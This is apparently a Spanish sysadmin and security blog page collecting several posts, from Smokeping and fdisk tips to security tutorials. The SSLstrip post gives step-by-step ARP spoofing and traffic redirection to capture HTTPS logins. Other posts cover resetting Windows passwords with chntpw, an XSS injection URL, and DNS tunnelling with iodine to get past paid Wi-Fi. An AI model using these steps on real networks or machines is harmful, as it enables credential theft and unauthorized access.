Monitorizando la red: Smokeping

Vuelvo con más novedades, esta vez una herramienta que ayuda a poner gráficas que tanto suelen gustar sobre el estado de la red y la carga que esta tiene. La herramienta se llama smokeping y está disponible en los repositorios de debian testing. Es un pequeño demonio que se ejecuta y está comprobando la latencia mediante el comando fping a los equipos listados. Al mismo tiempo crea una gráficas basadas en RRDtool. La herramienta en sí es muy similar a MRTG, pero sin el componente snmp y por lo tanto mucho más simple de configurar y poner a funcionar.
Un pequeño ejemplo:
shell> apt-get install curl apache2 smokeping
A continuación hay que configurarlo.
shell> vi /etc/smokeping/config.d/General
Y luego agregar la lista de equipos a monitorizar.
shell> cat /etc/smokeping/config.d/Targets
probe = FPing
menu = Top
title = Network Latency Grapher
remark = Welcome to the SmokePing website
+ Local
menu = Local
title = Red Local
++ LocalMachine
menu = Maquina Local
title = localhost
host = localhost
+ Server
menu = Servidores
title = Servidores
++ Servidor_1
menu = Router
title = Router General
host = 192.168.1.1
++Servidor_2
menu = Mail
title = Servidor de mail
host = 192.168.1.15
Tras su sencilla configuración iniciamos el demonio.
shell> /etc/init.d/smokeping start
Y al rato se podrá ver en la web una gráfica con las latencias...

Más información: oetiker -- smokeping
Leer más

Deshabilitar touchpad mientras escribes

Ya no recuerdo exactamente qué fue lo que estaba buscando, pero acabé en esta web (ubuntuleon.blogspot.com) en la que vi un script bastante interesantes que quiero compartir con vosotros por si os puede resultar interesantes. Para la gente que emplee equipos de sobremesa no creo, pero para aquellos que trabajen con portátiles puede ser especialmente útil deshabilitar el touchpad cuando están escribiendo. A quién no le pasó que está escribiendo y se le mueve el ratón y termina por escribir donde no debe o sin escribir. Aunque muchos de los equipos modernos ya comienzan a incluir esa opción, a los que no, si emplean GNU/Linux, se la pueden poner.

#!/bin/bash

gconftool-2 --type boolean --set /desktop/gnome/peripherals/touchpad/touchpad_auto-disable true
echo "Generando los scripts"
MANUAL=touchpad-manual
AUTO=touchpad-auto
zenity --question --text="¿Desea activar las notificaciones?\nSe instalara el paquete libnotify-bin\npara lanzar notificaciones a traves de Notify-OSD"
if [ $? = 0 ];then
    gksu echo Instalando
    sudo apt-get install libnotify-bin
    gconftool-2 --type boolean --set /desktop/gnome/peripherals/touchpad/touchpad_notify true
else
    gconftool-2 --type boolean --set /desktop/gnome/peripherals/touchpad/touchpad_notify false
fi
echo '#!/bin/bash
gconftool-2 --type boolean --set /desktop/gnome/peripherals/touchpad/touchpad_auto-disable false
#Si el estado actual es activado, lo desactiva, si no, lo activa
if [ $(gconftool-2 --get /desktop/gnome/peripherals/touchpad/touchpad_enabled) = true ]; then
    gconftool-2 --type boolean --set /desktop/gnome/peripherals/touchpad/touchpad_enabled false
    #synclient TouchpadOff=1
    if [ $(gconftool-2 --get /desktop/gnome/peripherals/touchpad/touchpad_notify) = true ]; then
        notify-send --icon=mouse "Touchpad Deshabilitado"
    fi
else
    gconftool-2 --type boolean --set /desktop/gnome/peripherals/touchpad/touchpad_enabled true
    #synclient TouchpadOff=0
    if [ $(gconftool-2 --get /desktop/gnome/peripherals/touchpad/touchpad_notify) = true ]; then
        notify-send --icon=mouse "Touchpad Habilitado"
    fi
fi' | tee $MANUAL

echo '#! /bin/bash
# Depende de libnotify-bin
notify=0    # Deshabilita la notificacion en el arranque
# Sincroniza synclient con gconf
#if [ $(gconftool-2 --get /desktop/gnome/peripherals/touchpad/touchpad_enabled) = true ]; then
#    synclient TouchpadOff=0
#elif [ $(gconftool-2 --get /desktop/gnome/peripherals/touchpad/touchpad_enabled) = false ]; then
#    synclient TouchpadOff=1
#fi
while [ 1 ]
do
    if [ $(gconftool-2 --get /desktop/gnome/peripherals/touchpad/touchpad_auto-disable) = true ]; then
        if [ $(gconftool-2 --get /desktop/gnome/peripherals/touchpad/touchpad_enabled) = true ] && [ -e /dev/input/by-id/*event-mouse ]; then # Se enchufa un Ratón
            gconftool-2 --type boolean --set /desktop/gnome/peripherals/touchpad/touchpad_enabled false
            #synclient TouchpadOff=1
            if [ $notify = 1 ]; then
                notify-send --icon=mouse "Touchpad Deshabilitado" "Se ha detectado un Ratón externo"
            fi

        elif [ $(gconftool-2 --get /desktop/gnome/peripherals/touchpad/touchpad_enabled) = false ] && [ ! -e /dev/input/by-id/*event-mouse ]; then # Se desenchufa un Ratón
            gconftool-2 --type boolean --set /desktop/gnome/peripherals/touchpad/touchpad_enabled true
            #synclient TouchpadOff=0
            if [ $notify = 1 ]; then
                notify-send --icon=mouse "Touchpad Habilitado" "Se ha desconectado el Ratón externo"
            fi
        fi
    fi
    if [ $(gconftool-2 --get /desktop/gnome/peripherals/touchpad/touchpad_notify) = true ]; then
        notify=1
    fi
    sleep 5  # Periodo de refresco en segundos
done' | tee $AUTO

echo "Instalando los script"
gksu cp $MANUAL /usr/bin/
rm $MANUAL
sudo cp $AUTO /usr/bin/
rm $AUTO
cd /usr/bin/
sudo chmod +rx $MANUAL
sudo chmod +rx $AUTO

echo "Asociando combinacion de teclas Alt+t"
gconftool-2 -t str --set /apps/metacity/global_keybindings/run_command_8 "t"
gconftool-2 -t str --set /apps/metacity/keybinding_commands/command_8 "$MANUAL"
echo "Asociando combinacion de teclas Alt+a para el modo automático"
gconftool-2 -t str --set /apps/metacity/global_keybindings/run_command_7 "a"
gconftool-2 -t str --set /apps/metacity/keybinding_commands/command_7 "gconftool-2 --type boolean --set /desktop/gnome/peripherals/touchpad/touchpad_auto-disable true"

echo "Creando autoarranque"
cd /usr/share/gnome/autostart/
echo '[Desktop Entry]' | sudo tee $AUTO.desktop
echo 'Type=Application' | sudo tee -a $AUTO.desktop
echo 'Name=AutoDeshabilitar Touchpad' | sudo tee -a $AUTO.desktop
echo "Exec=$AUTO" | sudo tee -a $AUTO.desktop
echo 'Icon=mouse' | sudo tee -a $AUTO.desktop
echo 'Comment=Detecta si exixte un raton, y si es asi, deshabilita el touchpad' | sudo tee -a $AUTO.desktop
echo "Listo"

Leer más

Destripando conexiones HTTPS

HTTPS se considera uno de los protocolos de envío de información por web más seguros, sin embargo y como se suele decir, no es oro todo lo que reluce. En este post voy a presentar una herramienta, SSLstrip, que permite justamente hacer eso, destripar una conexión HTTPS y conseguir ver el contenido transmitido en texto plano.
SSLstrip permite sniffar usuarios y contraseñas transmitidas por HTTPS de forma sencilla. Para realizar el ataque se usará la técnica man-in-the-middle (MITM). Haremos que todo el tráfico pase por un equipo intermedio, que se encargará de pasar todas las contraseñas a texto plano. Hay que decir que este tipo de ataques son efectivos únicamente en ataques MITM. Para realizarlo, desde nuestro equipo, podemos seguir estos sencillos pasos.
  1. Descargamos la última versión de SSLstrip
    shell> wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
    
  2. Descomprimimos y vamos a la carpeta
    shell> tar zxvf sslstrip-0.9.tar.gz
    shell> cd sslstrip-0.9/
    
  3. Activamos el IP forwarding de nuestra máquina, para un MITM
    shell> echo "1" > /proc/sys/net/ipv4/ip_forward
    
  4. Hacemos de nuestra máquina el router de salida a la red
    shell> arpspoof -i eth0 -t 192.168.1.33 192.168.1.1
    
  5. Redireccionamos los puertos necesarios
    shell> iptables -t nat -A PREROUTING \
          -p tcp --destination-port 80 \
          -j REDIRECT --to-ports 10000
    
  6. Ejecutamos SSLstrip
    shell> ./sslstrip.py -w captura.cap
    
  7. Observamos lo que va capturando
    shell> tail -f captura.cap
    2010-09-28 01:35:046,739 SECURE POST Data (www.google.com):
    ltmpl=default&ltmplcache=2&continue=http%3A%2F%2Fm ail.google.com%2Fmail%2F%3F&service=mail&rm=false& dsh=6669774865561864179&ltmpl=default&ltmpl=defaul t&scc=1&timeStmp=&secTok=&GALX=dPSLG5jykg8&Email=user_prueba&Passwd=mi_passwd&rmShown=1&signIn=Acceder&asts=
    
Leer más

NFS SLES 11 SP-1 crash

Aunque habitualmente uso sistemas basados en Debian, en ciertos equipos del trabajo administro sistemas Suse y Red Hat. No tengo nada en contra de ellas y es más, suelen funcionar muy bien, las pocas cosas que les permiten hacer, las hacen bien y no suelen dar fallos.
El otro día estaba trabajando con una SLES 11 SP1 y necesitaba montar un servidor de ficheros (NFS) para compartir unos datos entre equipos. Como es lógico, empleé YAST e instalé el servicio. Una vez configurado y arrancado todo perfecto, pero desde los clientes era imposible acceder. En los log's del servidor se veía que arrancaba el servico correctamente y al configuración también era correcta, pero al acceder desde el cliente aparecían estas líneas sospechosas en los log's.
nfsd: last server has exited, flushing export cache
NFSD: Using /var/lib/nfs/v4recovery as the NFSv4 state recovery directory
NFSD: starting 90-second grace period
rpc.mountd[3842]: segfault at fffffffe80000017 ip 00007fa393b60ee8 sp 00007fff9bb6d370 error 4 in rpc.mountd[7fa393b5b000+16000]
segfault en un log, es la típica palabra que no presagia nada bueno. Y así fue.
Probé a montar el recurso desde otro equipo y volvía a pasar exactamente lo mismo y por lo que parece, todo apunta a un fallo en el servidor NFS de SLES 11 SP1.
La solución fue realizar un downgrade de dicho servicio a SLES 11 y ya todo funcionó perfectamente. Por suerte, la configuración de los servidores NFS no es nada compleja y este cambio no afectó ni llevó excesivo tiempo.
Se reportará el fallo a Novell para que intenten solucionarlo. El servidor empleaba SLES 11 SP1 x86_64. No probé para la plataforma i386.
Leer más

Acceso a campos protegidos en Firefox

El otro día Fernando, un compañero de trabajo, me habló de un addon para Firefox llamado WordReference Translator y también de sus peculiaridades. La descripción del plugin lo deja bien claro:
Abre una pestaña con la traducción de WordReference para la palabra seleccionada. Mediante un enlace flotante o pulsando la tecla "D".
Hasta aquí todo correcto, un plugin para Firefox que permite traducir palabras. Como todo buen plugin de traducción, traduce la selección. Hasta aquí todo normal pero, ¿qué pasaría si intentas traducir un campo de contraseña (por defecto oculta). Lo probamos.
Firefox oculta los datos, por lo que se supone que no es posible saberlos. De ahí que muchos de los programas que se encargan de averiguar las contraseñas detecten lo que tecleas y no lo lean directamente del Firefox. La sorpresa, la contraseña (mipasswd) se traduce! El addon es capaz de obtener la contraseña del campo protegido de Firefox, por lo que realmente no está tan protegido.

Probé el plugin en varias versiones de Firefox y también de Iceweasel y también con varios portales que permiten inicio de sesión. El resultado en todos se podía acceder. Este es, a priori un gran fallo de Firefox por dejar acceder a addons externos a información del campo de las contraseñas.

Actualización:
Después de algunos comentarios, simplemente aclarar que este addon no accede al anillo de claves, sino al campo de tipo passwd. Ahí el núcleo de Firefox efectivamente debería saber lo que hay, para hacer el POST o GET correctamente, pero un addon en ningún caso debería poder acceder.
Leer más

fdisk y tipos de particiones

Este post es quizás uno de los más inútiles que escribiré, pero en algunas máquinas el comando cfdisk puede no estar disponible y sin interfaz gráfico la mejor forma de particionar un disco es fdisk
(viejo, pero útil).
El problema quizás vino a raíz de mi inexperiencia en su uso y el comando man fdisk, la verdad es que no facilitaba mucho las cosas. Necesitaba crear un tipo de partición primaria de tipo Linux LVM (8E). Como es lógico, comencé seleccionando el disco.
shell> fdisk /dev/sdb
Con el disco ya abierto, únicamente tenía que crear la partición y ponerle el tipo. Como quería tener todo el tamaño en una partición, simplemente presioné n (crear partición) y luego de indicarle que iba ser primaria, dejé las opciones por defecto. El tipo de partición que me creó era Linux (83) y yo necesitaba tener una de tipo Linux LVM (8E).
Realizar el cambio ahora que lo se es simple es tan simple como presionar t (cambiar) y elegir la partición deseada. Como sólo hay una, seleccionamos 1 (primera partición) y en tipo de code es donde se introduce 8E. Se finaliza con w para escribir los cambios.
Las teclas importantes son:
m: Muestra el menú de ayuda.
n: Crea una partición nueva.
l: Lista todos los tipos de partición conocidos.
p: Imprime la tabla de particiones.
t: Cambia el tipo de partición.
w: Escribe los cambios y finaliza.
Mientras que los tipos de particiones más comunes suelen ser,
Linux LVM  --> 8E
Linux      --> 83
Linux swap --> 82
NTFS       --> 86 ó 87
Linux raid --> FD
Leer más

Cambiar contraseña a un Windows

Este post surgió por la necesidad de cambiar una contraseña de un Windows y únicamente pretende servir de ayuda, pero NUNCA promocionar el hack, que nos conocemos...

La problemática: Nos olvidamos la contraseña
Esto, que suena a excusa para poder entrar en un equipo, sucede muchas veces y si se da el caso de que nadie más sabe la contraseña de administrador del equipos, el problema aumenta. El sistema quedaría inutilizable y habría que acceder a él de otras formas (que intentaré comentar en próximos post's) para recuperar los datos.
La solución sería formatear el equipo y posiblemente perder datos. Puesto que eso nunca interesa, presentaré otra solución más óptima. Según la importancia de los datos, se piensa una u otra forma de trabajar, jeje.

La solución: GNU/Linux
Tras esto se que podría dejar de escribir. GNU/Linux siempre ayuda y como no podría ser de otra forma, también ayuda a Windows... El problema es saber qué paquetes o software hace lo que nosotros necesitamos. En este caso necesitamos cambiar la contraseña. Ésta suele encontrarse en un fichero llamado SAM, localizada en C:/WINDOWS/system32/config/, por lo que necesitamos una distribución de GNU/Linux y software que sepa escribir. Si en tu disco no hay previamente una distro instalada, pincha aquí, sino, también puedes usar en live-cd de Ubuntu o Knoppix, por ejemplo.

El programa que se usará para poder acceder y modificar dicho fichero será chntpw.
dark:~# apt-cache search chntpw
chntpw es una utilidad de recuperación de contraseñas NT. Para instalarlo en Debian o derivados:
dark:~# apt-get install chntpw
Con el software ya instalado, únicamente nos queda por montar la partición sobre la que esté Windows para así tener acceso al fichero. Este apartado se realizará con mount y sólo hay que tener presente dar permisos de escritura a la partición. La partición Windows será /dev/sda1.
dark:~# mount /dev/sda1 /mnt --options=rw
Nos desplazamos al directorio seleccionado.
dark:~# cd /mnt/WINDOWS/system32/config
Modificamos la contraseña del administrador o de cualquier usuario.
  • Administrador
dark:~# chntpw SAM
  • Usuario
dark:~# chntpw -u user SAM
Al ejecutarlo, aparecerá un menú con 5 opciones. Si deseamos borrar la contraseña, elegimos la opción 1 del menú, mientras que para modificarla, la opción 2. Para más detalles de como funciona el comando, man chntpw.

Nota: Las contraseñas de archivos SAM también pueden ser averiguadas con programas como John the Ripper.
Leer más

Presentaciones BlackHat 2010

Por si a alguien le puede resultar de interés, las presentaciones de blackhat Las Vegas. Algunas de ellas muy interesantes y recomendadas.
Leer más

(in)Seguridad en los acortadores de direcciones

Reflexiones públicas sobre seguridad de acortadores
Aunque ya hace tiempo que me vine fijando es esto, hoy quiero hacer una pequeña reflexión pública sobre los acortadores de URL y el arma de doble hilo que son.
Con la expansión de Twitter, el empleo de acortadores de URL es cada vez mayor, ya no sólo en el propio servicio del pajarito, sino en prácticamente todos los servicios web modernos. Por lo tanto, cuando alguien "cuelga" una URL corta, realmente nosotros lo que hacemos es consultar al "creador" de la misma para que nos haga una redirección a la URL de verdad. Por poner un ejemplo, el link http://goo.gl/kr0UO, creado con el acortador de Google lleva a éste blog, sin embargo eso es así por que yo os lo digo y vosotros os lo creéis. Si realmente lleva a otro lado, es algo que hasta después de pinchar en él, no lo podremos saber.
Hagamos ahora un pequeño parón y cambiemos de tema. En la actualidad es muy común ver fallos de programación en páginas web que permiten efectuar ataques XSS, SQL, BlindSQL, etc. Dependiendo del tipo de ataque, el resultado puede ser más o menos interesante y tener una repercusión u otra.
El ejemplo típico de ataque XSS es el efectuado sobre una página web de la que interesa obtener algunas credenciales. La forma más simple de hacerlo es descubrir la vulnerabilidad y hacer que las víctimas pinchen el enlace mal intencionado para llevarlas a la web falsa. Una vez ahí, únicamente habrá que esperar a que inicie sesión y las credenciales ya estarían comprometidas. Un XSS sobre la web un proveedor de mail (GMail, Hotmail, Yahoo!, etc.) sería, cuando menos una gran fuente de datos para los hackers.
Por lo tanto, cuando unimos acortadores de URL's y fallos de seguridad, podemos tener un problema. Fue sonado, si os acordáis, el XSS que se le hizo a la web del Gobierno de España y que se expandió como la pólvora por las redes sociales gracias a los acortadores de URL. El "churro" de URL que había que poner, si no fuera por los acortadores de URL sería cuando menos sospechoso para la mayoría de la gente. 
http://www.eu2010.es/en/resultadoBusqueda.html?query= < script > document.write('< i m g s rc="h t t p ://blog.tmcnet.com/blog/tom-keating/images/mr-bean. jpg" />') < / script >;&index=buscadorGeneral_en
Web Gobierno de España, eu2010
Sin embargo, si yo lo pongo más amigable, tal como "pincha aquí", seguimos teniendo el mismo problema, pero algo más camuflado. La ventaja, que antes de pinchar al pasar el ratón por encima, podemos observar la URL completa a la que lleva.
Ahora imaginémonos qué pasaría si el mismo link lo camuflamos con un acortador de URL's. Para el ejemplo vamos a emplear una URL con un pequeño fallo XSS, el cual vamos a explotar para que nos diga Hola! Nada peligroso ;-)
La URL real a comprobar es http://demo.testfire.net, mientras que la URL vulnerable es http://demo.testfire.net. Sí, la misma ;-)
Si os fijáis, cambia un poco el contenido del link colgado, así que si ahora pongo un Tweet con
Estrenamos nueva web. Visítala aquí
Puede ser que esto impida ya a mucha gente acceder al contenido, ya que realmente se está desplegando, sin embargo, para hacerlo más fuerte y potente, vamos a pasarlo por un acrotador de URL's (en este caso, bit.ly) y ahora ponemos,
Estrenamos nueva web. Visítala http://bit.ly/aACnrM
La URL que podemos ver es exactamente la misma, pero hasta que pinchas y salta el alert("Hola") no lo sabemos, quedando así demostrada la (in)seguridad de los acortadores de direcciones.
Leer más

DNS tuneling: iodine

Hoy vamos a ver cómo emplear el protocolo DNS para salir a Intenet y navegar en aquellos lugares que la conexión de pago no nos lo permite, por ejemplo aeropuertos.
Escenario
Cualquier lugar que permita establecer una conexión a la red, pero que luego no permita navegar sin, por ejemplo, usuario o previo pago, pero que sin embargo, sí permita una resolución DNS correcta.
Si hacemos ping a Google, sabremos qué IP resuelve, pero no seremos capaces de establecer la conexión con la página. En este tipo de escenarios, son sobre los que se puede aplicar un túnel DNS.
Herramientas
Existe diversas herramientas en la red que permiten crear este tipo de servicios. Las dos que vamos a ver son: iodine y nstx.
Configuración de iodine
iodine está disponible para Linux, MacOS, y Windows. Presenta un método de autenticación muy bueno, para que nadie que no esté autenticado lo pueda emplear y además, está disponible desde los repositorios de Debian. La instalación es muy sencilla,
shell> apt-get install iodine
tanto para el lado del cliente como para el lado del servidor.
Lo primero es configurar el servidor al que nos vamos a tener que conectar. Para ello, necesitamos instalar el software y tener un nombre DNS que resuelva en Internet. Para este ejemplo, vamos a optar por sacar el nombre domain.com que apunte a la IP 158.36.2.56. En el servidor, tendremos el servicio iodine a la escucha. Las entradas de DNS quedarían tal que así:
tunnel   IN   A    158.36.2.56
dns      IN   NS   tunnel.domain.com
Y para iniciar el servicio instalado,
server> iodined -f 10.0.0.1 tunnel.domain.com
Por parte del cliente, también hay que arrancar el servicio, pero éste como consumidor de datos,
client> iodine tunnel.domain.com
Con esto se crearían una red con dos direcciones IP (10.0.0.1 y 10.0.0.2) en las que todo el tráfico quedaría encapsulado mediante peticiones DNS y por lo tanto camuflado contra bloqueos de tráfico IP. El cliente, por supuesto tendría que tener como ruta por defecto la red del túnel DNS, que queda automáticamente configurada al arrancar el servicio iodine.

En la próxima entrega, hablaré más de nstx.
Leer más

Imágenes vmware/virtualbox

Navegando por la red encontré este página que permite la descarga de innumerables imágenes de vmware ya lista para funcionar.
Aunque nunca usé vmwave sí se que es posible abrir la mayoría de esas imágenes con virtualbox. Espero sea de interés para alguien.
Dejo el link: http://www.thoughtpolice.co.uk/vmware/
Leer más

Formato de texto en gTalk

Hace tiempo descubrí uno de esos pequeños trucos de Google que a la gente le suele fascinar. Cómo poner el texto en diferentes formas en gtalk. Hablando con los compañeros por el chat, lo empleas y siempre queda muy gracioso, pues al principio no saben cómo hacerlo y eso siempre causa un poco de desconcierto. Hoy voy a poner cómo hacerlo, ya que considero que puede ser de interés general. Ya bien sea para pasar el rato, o usándolo de manera correcta, podéis dar énfasis o remarcar vuestras palabras con negrita, cursiva e incluso tachar algo que no querríais decir. Para hacerlo, cuando escribáis, anteponer los símbolos a las palabras y así conseguís el efecto deseado.
*prueba* : prueba
_prueba_ : prueba
-prueba- : prueba
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios